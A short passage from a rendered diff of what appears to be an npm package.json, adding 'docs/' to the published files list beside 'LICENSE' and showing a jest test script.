"LICENSE",
|
|
18
|
+
"docs/"
|
|
18
19
|
],
|
|
19
20
|
"scripts": {
|
|
20
21
|
"test": "jest --forceExit",
|